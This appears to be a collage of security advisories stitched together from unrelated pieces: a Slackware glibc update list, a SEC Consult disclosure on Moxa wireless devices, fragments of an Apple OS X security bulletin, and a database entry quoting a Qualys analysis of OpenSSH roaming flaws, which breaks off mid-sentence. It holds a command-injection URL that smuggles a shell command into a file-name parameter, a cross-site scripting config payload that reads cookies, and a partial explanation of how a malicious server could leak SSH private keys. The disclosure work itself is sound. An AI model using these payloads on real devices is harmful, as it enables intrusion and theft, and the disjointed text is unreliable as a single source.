13.37:\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-2.13-x86_64-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-i18n-2.13-x86_64-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-profile-2.13-x86_64-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-solibs-2.13-x86_64-8_slack13.37.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-13.37/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-2.15-i486-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-i18n-2.15-i486-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-profile-2.15-i486-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-solibs-2.15-i486-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-2.15-x86_64-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-i18n-2.15-x86_64-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-profile-2.15-x86_64-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-solibs-2.15-x86_64-9_slack14.0.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-2.17-i486-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-i18n-2.17-i486-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-profile-2.17-i486-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-solibs-2.17-i486-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-2.17-x86_64-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-i18n-2.17-x86_64-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-profile-2.17-x86_64-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-solibs-2.17-x86_64-10_slack14.1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/glibc-zoneinfo-2014j-noarch-1.txz\n\nUpdated packages for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/glibc-solibs-2.20-i486-2.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/a/glibc-zoneinfo-2014j-noarch-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-2.20-i486-2.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-i18n-2.20-i486-2.txz\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/l/glibc-profile-2.20-i486-2.txz\n\nUpdated packages for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/glibc-solibs-2.20-x86_64-2.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/a/glibc-zoneinfo-2014j-noarch-1.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-2.20-x86_64-2.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-i18n-2.20-x86_64-2.txz\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/l/glibc-profile-2.20-x86_64-2.txz\n\n\nMD5 signatures:\n+-------------+\n\nSlackware 13.0 packages:\n41402c65ebdef4b022c799131556ef7e glibc-2.9-i486-7_slack13.0.txz\n7095e3cd743af0179ea14b9bff81e3f4 glibc-i18n-2.9-i486-7_slack13.0.txz\n901d50b809ed84837ff45b2ca7838bb3 glibc-profile-2.9-i486-7_slack13.0.txz\n421a711b7cf1be2df2421ae5cd50b217 glibc-solibs-2.9-i486-7_slack13.0.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware x86_64 13.0 packages:\nd4266628a8db63751f3f55b8bc2e2162 glibc-2.9-x86_64-7_slack13.0.txz\nb6161a0e23da771c5c6903605e49e403 glibc-i18n-2.9-x86_64-7_slack13.0.txz\nb8026d61e3849cce26539def0b665ca3 glibc-profile-2.9-x86_64-7_slack13.0.txz\n1f7f4cf57d44d75d4ef2786152f33403 glibc-solibs-2.9-x86_64-7_slack13.0.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware 13.1 packages:\n03e0d0224efe8bc794b5be0454612a1e glibc-2.11.1-i486-9_slack13.1.txz\nfabbdd8d7f14667c7a2dc7ede87b5510 glibc-i18n-2.11.1-i486-9_slack13.1.txz\n1c1d86a9dabe329c3d30796188b66ebe glibc-profile-2.11.1-i486-9_slack13.1.txz\ne2ebe08bb02550c69202a6f973ef7e47 glibc-solibs-2.11.1-i486-9_slack13.1.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware x86_64 13.1 packages:\nc00de492a4842e3a86101028e8cc03f0 glibc-2.11.1-x86_64-9_slack13.1.txz\n9657c55f39b233333e48d08acee9ed78 glibc-i18n-2.11.1-x86_64-9_slack13.1.txz\nada2d7f7b7ffdfd7a4407696ad714e48 glibc-profile-2.11.1-x86_64-9_slack13.1.txz\nb3c393e74aafbb5276cea1217dfcd1aa glibc-solibs-2.11.1-x86_64-9_slack13.1.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware 13.37 packages:\n16615e6ef8311b928e3a05e0b7f3e505 glibc-2.13-i486-8_slack13.37.txz\n319dfc0cbdaf8410981195fffb1371c6 glibc-i18n-2.13-i486-8_slack13.37.txz\n6964339495ab981d17ba27cd5878a400 glibc-profile-2.13-i486-8_slack13.37.txz\n1834abd11fab02725e897040bbead56f glibc-solibs-2.13-i486-8_slack13.37.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware x86_64 13.37 packages:\n1753003d261831ac235445e23a9f9870 glibc-2.13-x86_64-8_slack13.37.txz\n8aa103984bb2cb293072a022dd9144f2 glibc-i18n-2.13-x86_64-8_slack13.37.txz\na56e90a34eec8f60e265c45d05490a57 glibc-profile-2.13-x86_64-8_slack13.37.txz\nc6f684ea049e4091b96d15606eb454d1 glibc-solibs-2.13-x86_64-8_slack13.37.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware 14.0 packages:\na2fadb666bfdf5c7c4c9792cbf34785d glibc-2.15-i486-9_slack14.0.txz\n3b3626f4a170a603af36ca60c7840fa6 glibc-i18n-2.15-i486-9_slack14.0.txz\nad237d138bb874e57c4080071d27e798 glibc-profile-2.15-i486-9_slack14.0.txz\nf07d37e52014cec80e43d883eda516ae glibc-solibs-2.15-i486-9_slack14.0.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware x86_64 14.0 packages:\na5d02d71a230b6daa39d2ebefd8a6548 glibc-2.15-x86_64-9_slack14.0.txz\n62c30b615e38ba63cafb8053383eabde glibc-i18n-2.15-x86_64-9_slack14.0.txz\n152d094ab6bc4c7f763dd4ad1a53784c glibc-profile-2.15-x86_64-9_slack14.0.txz\nb256163bb179d1aebfda5f45270a0580 glibc-solibs-2.15-x86_64-9_slack14.0.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware 14.1 packages:\n8f2fb91bb39d8a1db3bd6510295e6b1e glibc-2.17-i486-10_slack14.1.txz\n8d179820a827a4dce028b57d3fa39237 glibc-i18n-2.17-i486-10_slack14.1.txz\n19a4824c6ff8792a1166a38ceff824e0 glibc-profile-2.17-i486-10_slack14.1.txz\n417dede2ae464059002b6fcc2048f942 glibc-solibs-2.17-i486-10_slack14.1.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware x86_64 14.1 packages:\n490ce11a13439e30ff312769cc4fabb1 glibc-2.17-x86_64-10_slack14.1.txz\ncd145e0d6a12b15d5282d7d1b3de92ed glibc-i18n-2.17-x86_64-10_slack14.1.txz\n93aea777dd41dc1c631dce1cf252bf14 glibc-profile-2.17-x86_64-10_slack14.1.txz\n6b759039a5b3f8c88b3753e722ded78e glibc-solibs-2.17-x86_64-10_slack14.1.txz\n61278ba5a904a7474e9b0b64b0daab97 glibc-zoneinfo-2014j-noarch-1.txz\n\nSlackware -current packages:\n395d4ad5fb71c4a56a500c3e51d07c8b a/glibc-solibs-2.20-i486-2.txz\n61278ba5a904a7474e9b0b64b0daab97 a/glibc-zoneinfo-2014j-noarch-1.txz\n3ca2827446e66d0d2d0e0bc8c55ba1ed l/glibc-2.20-i486-2.txz\n94105b1a10c42ce0995f8ace6b4f06a8 l/glibc-i18n-2.20-i486-2.txz\nfcc2ad4f5aad3a7d704d708a170c5351 l/glibc-profile-2.20-i486-2.txz\n\nSlackware x86_64 -current packages:\n25129dd9dfed8a8e834c87ba40c1ef17 a/glibc-solibs-2.20-x86_64-2.txz\n61278ba5a904a7474e9b0b64b0daab97 a/glibc-zoneinfo-2014j-noarch-1.txz\nb8ff5e308769d8e4eddccd9940058d5c l/glibc-2.20-x86_64-2.txz\n8c3db9286aa93346d25ffad38178137b l/glibc-i18n-2.20-x86_64-2.txz\n21f2a62d975b433f570cd5129cdc21fb l/glibc-profile-2.20-x86_64-2.txz\n\n\nInstallation instructions:\n+------------------------+\n\nUpgrade the packages as root:\n# upgradepkg glibc-*\n\n\n+-----+\n\nSlackware Linux Security Team\nhttp://slackware.com/gpg-key\nsecurity@slackware.com\n\n+------------------------------------------------------------------------+\n| To leave the slackware-security mailing list: |\n+------------------------------------------------------------------------+\n| Send an email to majordomo@slackware.com with this text in the body of |\n| the email message: |\n| |\n| unsubscribe slackware-security |\n| |\n| You will get a confirmation message back containing instructions to |\n| complete the process. Please do not reply to this email address. SEC Consult Vulnerability Lab Security Advisory \u003c 20210901-0 \u003e\n=======================================================================\n title: Multiple vulnerabilities\n product: see \"Vulnerable / tested versions\"\n vulnerable version: see \"Vulnerable / tested versions\"\n fixed version: see \"Solution\"\n CVE number: CVE-2021-39278, CVE-2021-39279\n impact: High\n homepage: https://www.moxa.com/\n found: 2020-08-31\n by: T. Weber (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos company\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Together, We Create Change\n\nMoxa is committed to making a positive impact around the world. We put our all\nbehind this commitment--from our employees, to our products and supply chain. \n\nIn our local communities, we nurture and support the spirit of volunteering. \nWe encourage our employees to contribute to community development, with an\nemphasis on ecology, education, and health. \n\nIn our products, we invest in social awareness programs and\nenvironment-friendly policies at every stage of the product lifecycle. We make\nsure our manufacturing meets the highest standards with regards to quality,\nethics, and sustainability.\"\n\nSource: https://www.moxa.com/en/about-us/corporate-responsibility\n\nBusiness recommendation:\n------------------------\nSEC Consult recommends to immediately apply the available patches\nfrom the vendor. A thorough security review should be performed by\nsecurity professionals to identify further potential security issues. \n\n\nVulnerability overview/description:\n-----------------------------------\n1) Authenticated Command Injection (CVE-2021-39279)\nAn authenticated command injection vulnerability can be triggered by issuing a\nGET request to the \"/forms/web_importTFTP\" CGI program which is available on\nthe web interface. An attacker can abuse this vulnerability to compromise the\noperating system of the device. This issue was found by emulating the firmware\nof the device. \n\n2) Reflected Cross-Site Scripting via Manipulated Config-File (CVE-2021-39278)\nVia a crafted config-file, a reflected cross-site scripting vulnerability can\nbe exploited in the context of the victim\u0027s browser. This config-file can be\nuploaded to the device via the \"Config Import Export\" tab in the main menu. One of the discovered vulnerabilities (CVE-2015-0235,\ngethostbyname \"GHOST\" buffer overflow) was verified by using the MEDUSA\nscalable firmware runtime. \n\n4) Multiple Outdated Software Components\nMultiple outdated software components containing vulnerabilities were found by\nthe IoT Inspector. \n\nThe vulnerabilities 1), 2) and 3) were manually verified on an emulated device\nby using the MEDUSA scalable firmware runtime. \n\nProof of concept:\n-----------------\n1) Authenticated Command Injection (CVE-2021-39279)\nThe vulnerability can be triggered by navigating in the web interface to the\ntab:\n\n\"Main Menu\"-\u003e\"Maintenance\"-\u003e\"Config Import Export\"\n\nThe \"TFTP Import\" menu is prone to command injection via all parameters. To\nexploit the vulnerability, an IP address, a configuration path and a filename\nmust be set. \nIf the filename is used to trigger the exploit, the payload in the interceptor\nproxy would be:\n\nhttp://192.168.1.1/forms/web_importTFTP?servIP=192.168.1.1\u0026configPath=/\u0026fileName=name|`ping localhost -c 100`\n\n\n2) Reflected Cross-Site Scripting via Manipulated Config-File (CVE-2021-39278)\nThe vulnerability can be triggered by navigating in the web interface to the\ntab:\n\n\"Main Menu\"-\u003e\"Maintenance\"-\u003e\"Config Import Export\"\n\nThe \"Config Import\" menu is prone to reflected cross-site scripting via the\nupload of config files. Example of malicious config file:\n-------------------------------------------------------------------------------\n[board]\ndeviceName=\"WAC-2004_0000\u003c/span\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\"\ndeviceLocation=\"\"\n[..]\n-------------------------------------------------------------------------------\nUploading such a crafted file triggers cross-site scripting as the erroneous\nvalue is displayed without filtering characters. \n\nThe gethostbyname buffer overflow vulnerability (GHOST) was checked with the\nhelp of the exploit code from https://seclists.org/oss-sec/2015/q1/274. It was\ncompiled and executed on the emulated device to test the system. \n\n\n4) Multiple Outdated Software Components\nThe IoT Inspector recognized multiple outdated software components with known\nvulnerabilities:\n\nBusyBox 1.18.5 06/2011\nDropbear SSH 2011.54 11/2011\nGNU glibc 2.9 02/2009\nLinux Kernel 2.6.27 10/2008\nOpenSSL 0.9.7g 04/2005\nOnly found in the program \"iw_director\"\nOpenSSL 1.0.0 03/2010\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following firmware versions for various devices have been identified\nto be vulnerable:\n* WAC-2004 / 1.7\n* WAC-1001 / 2.1\n* WAC-1001-T / 2.1\n* OnCell G3470A-LTE-EU / 1.7\n* OnCell G3470A-LTE-EU-T / 1.7\n* TAP-323-EU-CT-T / 1.3\n* TAP-323-US-CT-T / 1.3\n* TAP-323-JP-CT-T / 1.3\n* WDR-3124A-EU / 2.3\n* WDR-3124A-EU-T / 2.3\n* WDR-3124A-US / 2.3\n* WDR-3124A-US-T / 2.3\n\n\nVendor contact timeline:\n------------------------\n2020-10-09: Contacting vendor through moxa.csrt@moxa.com. \n2020-10-12: Contact sends PGP key for encrypted communication and asks for the\n detailed advisory. Sent encrypted advisory to vendor. \n2020-11-06: Status update from vendor regarding technical analysis. Vendor\n requested more time for fixing the vulnerabilities as more products\n are affected. \n2020-11-09: Granted more time for fixing to vendor. \n2020-11-10: Vendor asked for next steps regarding the advisory publication. \n2020-11-11: Asked vendor for an estimation when a public disclosure is possible. \n2020-11-16: Vendor responded that the product team can give a rough feedback. \n2020-11-25: Asked for a status update. \n2020-11-25: Vendor responded that the investigation is not done yet. \n2020-12-14: Vendor provided a list of potential affected devices and stated\n that full investigation may take until January 2021 due to the list\n of CVEs that were provided with the appended IoT Inspector report. \n The patches may be available until June 2021. \n2020-12-15: Shifted next status update round with vendor on May 2021. \n2020-12-23: Vendor provided full list of affected devices. \n2021-02-05: Vendor sieved out the found issues from 4) manually and provided a\n full list of confirmed vulnerabilities. WAC-2004 phased-out in\n 2019. \n2021-02-21: Confirmed receive of vulnerabilities, next status update in May\n 2021. \n2021-06-10: Asking for an update. \n2021-06-15: Vendor stated, that the update will be provided in the next days. \n2021-06-21: Vendor will give an update in the next week as Covid gets worse in\n Taiwan. \n2021-06-23: Vendor stated, that patches are under development. Vendor needs more\n time to finish the patches. \n2021-06-24: Set release date to 2021-09-01. \n2021-07-02: Vendor provides status updates. \n2021-08-16: Vendor provides status updates. \n2021-08-17: Vendor asks for CVE IDs and stated, that WDR-3124A has phased-out. \n2021-08-20: Sent assigned CVE-IDs to vendor. Asked for fixed version numbers. \n2021-08-31: Vendor provides fixed firmware version numbers and the advisory\n links. \n2021-09-01: Coordinated release of security advisory. \n\nSolution:\n---------\nAccording to the vendor the following patches must be applied to fix issues:\n* WAC-1001 / 2.1.5\n* WAC-1001-T / 2.1.5\n* OnCell G3470A-LTE-EU / 1.7.4\n* OnCell G3470A-LTE-EU-T / 1.7.4\n* TAP-323-EU-CT-T / 1.8.1\n* TAP-323-US-CT-T / 1.8.1\n* TAP-323-JP-CT-T / 1.8.1\n\nThe Moxa Technical Support must be contacted for requesting the security\npatches. \n\nThe corresponding security advisories for the affected devices are available on\nthe vendor\u0027s website:\nTAP-323/WAC-1001/WAC-2004\nhttps://www.moxa.com/en/support/product-support/security-advisory/tap-323-wac-1001-2004-wireless-ap-bridge-client-vulnerabilities\nOnCell G3470A-LTE/WDR-3124A\nhttps://www.moxa.com/en/support/product-support/security-advisory/oncell-g3470a-wdr-3124a-cellular-gateways-router-vulnerabilities\n\nThe following device models are EOL and should be replaced:\n* WAC-2004\n* WDR-3124A-EU\n* WDR-3124A-EU-T\n* WDR-3124A-US\n* WDR-3124A-US-T\n\n\nWorkaround:\n-----------\nNone. \n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult, an Atos company\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos company. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers. \nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF Thomas Weber / @2021\n\n. If Apache was manually enabled and the configuration\nwas not changed, some files that should not be accessible might have\nbeen accessible using a specially crafted URL. This issue was addressed through the\naddition of a mechanism to trust only a subset of certificates issued\nprior to the mis-issuance of the intermediate. This\nissue, also known as Logjam, allowed an attacker with a privileged\nnetwork position to downgrade security to 512-bit DH if the server\nsupported an export-strength ephemeral DH cipher suite. The issue was\naddressed by increasing the default minimum size allowed for DH\nephemeral keys to 768 bits. \nCVE-ID\nCVE-2015-3695 : Ian Beer of Google Project Zero\nCVE-2015-3696 : Ian Beer of Google Project Zero\nCVE-2015-3697 : Ian Beer of Google Project Zero\nCVE-2015-3698 : Ian Beer of Google Project Zero\nCVE-2015-3699 : Ian Beer of Google Project Zero\nCVE-2015-3700 : Ian Beer of Google Project Zero\nCVE-2015-3701 : Ian Beer of Google Project Zero\nCVE-2015-3702 : KEEN Team\n\nImageIO\nAvailable for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5,\nOS X Yosemite v10.10 to v10.10.3\nImpact: Multiple vulnerabilities existed in libtiff, the most\nserious of which may lead to arbitrary code execution\nDescription: Multiple vulnerabilities existed in libtiff versions\nprior to 4.0.4. \nCVE-ID\nCVE-2015-3661 : G. Geshev working with HP\u0027s Zero Day Initiative\nCVE-2015-3662 : kdot working with HP\u0027s Zero Day Initiative\nCVE-2015-3663 : kdot working with HP\u0027s Zero Day Initiative\nCVE-2015-3666 : Steven Seeley of Source Incite working with HP\u0027s Zero\nDay Initiative\nCVE-2015-3667 : Ryan Pentney, Richard Johnson of Cisco Talos and Kai\nLu of Fortinet\u0027s FortiGuard Labs, Ryan Pentney, and Richard Johnson\nof Cisco Talos and Kai Lu of Fortinet\u0027s FortiGuard Labs\nCVE-2015-3668 : Kai Lu of Fortinet\u0027s FortiGuard Labs\nCVE-2015-3713 : Apple\n\nSecurity\nAvailable for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5,\nOS X Yosemite v10.10 to v10.10.3\nImpact: A remote attacker may cause an unexpected application\ntermination or arbitrary code execution\nDescription: An integer overflow existed in the Security framework\ncode for parsing S/MIME e-mail and some other signed or encrypted\nobjects. \nCVE-ID\nCVE-2013-1741\n\nSecurity\nAvailable for: OS X Mountain Lion v10.8.5, OS X Mavericks v10.9.5,\nOS X Yosemite v10.10 to v10.10.3\nImpact: Tampered applications may not be prevented from launching\nDescription: Apps using custom resource rules may have been\nsusceptible to tampering that would not have invalidated the\nsignature",
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VAR-201601-0030
Vulnerability from variot - Updated: 2026-03-09 21:12The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability. Successful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================ Ubuntu Security Notice USN-2869-1 January 14, 2016
openssh vulnerabilities
A security issue affects these releases of Ubuntu and its derivatives:
- Ubuntu 15.10
- Ubuntu 15.04
- Ubuntu 14.04 LTS
- Ubuntu 12.04 LTS
Summary:
OpenSSH could be made to expose sensitive information over the network.
Update instructions:
The problem can be corrected by updating your system to the following package versions:
Ubuntu 15.10: openssh-client 1:6.9p1-2ubuntu0.1
Ubuntu 15.04: openssh-client 1:6.7p1-5ubuntu1.4
Ubuntu 14.04 LTS: openssh-client 1:6.6p1-2ubuntu2.4
Ubuntu 12.04 LTS: openssh-client 1:5.9p1-5ubuntu1.8
In general, a standard system update will make all the necessary changes. Qualys Security Advisory
Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778
======================================================================== Contents ========================================================================
Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept
======================================================================== Summary ========================================================================
Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly.
The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study.
All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default.
======================================================================== Information Leak (CVE-2016-0777) ========================================================================
Analysis
If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server:
63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 }
40 static size_t out_buf_size = 0; 41 static char out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", func, (u_long)size); 80 / 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 }
The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection:
198 void 199 resend_bytes(int fd, u_int64_t offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 }
In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered:
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"out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start";
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"out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size;
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"out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available.
In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to:
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Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging.
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Guess the client's get_snd_buf_size() in order to precisely control out_buf_size. OpenSSH < 6.0 accepts out_buf sizes in the range (0,4G), and OpenSSH >= 6.0 accepts sizes in the range (0,2M]. Sizes smaller than get_snd_buf_size() are attainable because roaming_reply() does not protect "packet_get_int() + get_snd_buf_size()" against integer wraparound. The proof-of-concept in this advisory attempts to derive the client's get_snd_buf_size() from the get_recv_buf_size() sent by the client to the server, and simply chooses a random out_buf_size.
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Advise the client's resend_bytes() that all "available" bytes (the entire out_buf_size) are "needed" by the server, even if fewer bytes were actually written by the client to the server (because the server controls the "offset" argument, and resend_bytes() does not protect "needed = write_bytes - offset" against integer wraparound).
Finally, a brief digression on a minor bug in resend_bytes(): on 64-bit systems, where "chunkend" is a 32-bit signed integer, but "out_buf" and "out_buf_size" are 64-bit variables, "out_buf + out_buf_size - chunkend" may point out-of-bounds, if chunkend is negative (if out_buf_size is in the [2G,4G) range). This negative chunkend is then converted to a 64-bit size_t greater than SSIZE_MAX when passed to atomicio(), and eventually returns EFAULT when passed to write() (at least on Linux and OpenBSD), thus avoiding an out-of-bounds read from the OpenSSH client's memory.
Private Key Disclosure
We initially believed that this information leak in the OpenSSH client's roaming code would not allow a malicious SSH server to steal the client's private keys, because:
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the information leaked is not read from out-of-bounds memory, but from a previously free()d chunk of memory that is recycled to malloc()ate the client's roaming buffer out_buf;
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private keys are loaded from disk into memory and freed by key_free() (old API, OpenSSH < 6.7) or sshkey_free() (new API, OpenSSH >= 6.7), and both functions properly cleanse the private keys' memory with OPENSSL_cleanse() or explicit_bzero();
